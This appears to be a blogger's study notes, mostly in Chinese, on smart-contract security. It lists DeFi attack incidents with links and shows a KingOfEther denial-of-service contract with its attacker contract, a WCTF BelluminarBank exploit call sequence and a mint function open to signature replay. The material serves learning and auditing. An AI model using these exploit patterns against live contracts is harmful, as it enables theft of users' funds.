j– title: “contract security” date: 2022-08-23T00:28:00+08:00 weight: 70 keywords: [] tags: [“solidity”] categories: [“blockchain”] author: “Clay” draft: false

contract security

合约安全分为两个部分，一部分是漏洞原理分类，另一部分是实际发生的攻击事件。(合约安全竞赛)

合约事故

• Reentrancy

  • balancer read-only: https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376

• DOS

  smart contract 拒绝服务攻击一般由code logic errors, compatibility issues, or excessive call depth引起

  pragma solidity ^0.8.13;
  
  contract KingOfEther {
      address public king;
      uint public balance;
  
      function claimThrone() external payable {
          require(msg.value > balance, "Need to pay more to become the king");
  
          (bool sent, ) = king.call{value: balance}("");
          require(sent, "Failed to send Ether");
  
          balance = msg.value;
          king = msg.sender;
      }
  }
  
  # attacker contract
  pragma solidity ^0.8.13;
  
  contract Attack {
      KingOfEther kingOfEther;
  
      constructor(KingOfEther _kingOfEther) {
          kingOfEther = KingOfEther(_kingOfEther);
      }
  
      function attack() public payable {
          kingOfEther.claimThrone{value: msg.value}();
      }
  }
  

• Oracle

  • Tender Finance

    Oracle返回price的小数点错误，导致tGMX价格大幅上升

    https://blog.solidityscan.com/tender-finance-hack-analysis-improper-oracle-price-calculation-408f424d8548

• Phinishing

  • permit phishing: https://slowmist.medium.com/examining-permit-signatures-is-phishing-of-tokens-possible-via-off-chain-signatures-bfb5723a5e9

• 可升级合约漏洞-Web3音乐平台Audius被黑事件分析: https://learnblockchain.cn/article/4441

• Fortress攻击事件分析: https://www.anquanke.com/post/id/273207

• OP攻击事件: https://m.freebuf.com/articles/blockchain-articles/335918.html

  • https://www.defidaonews.com/article/6756750

• Discover闪电贷攻击事件: https://m.freebuf.com/articles/blockchain-articles/335565.html

• Transit Swap合约分析: https://rekt.news/transit-swap-rekt/

WCTF

• BelluminarBank: https://learnblockchain.cn/article/1989

  BelluminarBank.deploy("123456", 1, {'from':accounts[0], 'value':10})
  BelluminarBank[0].invest(1, "0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1ecc80", {'from':accounts[1], 'value': 1})
  BelluminarBank[0].invest(2, 0, {'from':accounts[1], 'value': 0})
  BelluminarBank[0].confiscate(1, "123456", {'from':accounts[1]})
  

  • 整数溢出漏洞
  • private误区
  • Storage Pointer: 函数声明的临时变量"指针"默认存储位置slot位置都为0, 所以临时变量的位置和全局变量重叠
  • selfdestruct(addr)调整合约addr余额

• The_Association_Sales: https://cn.etherscan.com/address/0xdd5a649fc076886dfd4b9ad6acfc9b5eb882e83c#code

  数字签名重放:

  • 普通重放: 将本该使用一次的签名多次使用。NBA官方发布的系列NFT因为这类攻击被免费铸造了上万枚
  • 跨链重放: 将本该在一条链上使用的签名，在另一条链上重复使用。做市商Wintermute因为跨链重放攻击被盗2000万枚OP

  function mint_approved(
      vData memory info,
      uint256 number_of_items_requested,
      uint16 _batchNumber
  ) external {
      require(batchNumber == _batchNumber, "!batch");
      address from = msg.sender;
      require(verify(info), "Unauthorised access secret");
      _discountedClaimedPerWallet[msg.sender] += 1;
      require(
          _discountedClaimedPerWallet[msg.sender] <= 1,
          "Number exceeds max discounted per address"
      );
      presold[from] = 1;
      _mintCards(number_of_items_requested, from);
      emit batchWhitelistMint(_batchNumber, msg.sender);
  }
  
  # dusty.sol:100
  

  op重放事件分析: https://learnblockchain.cn/article/4214

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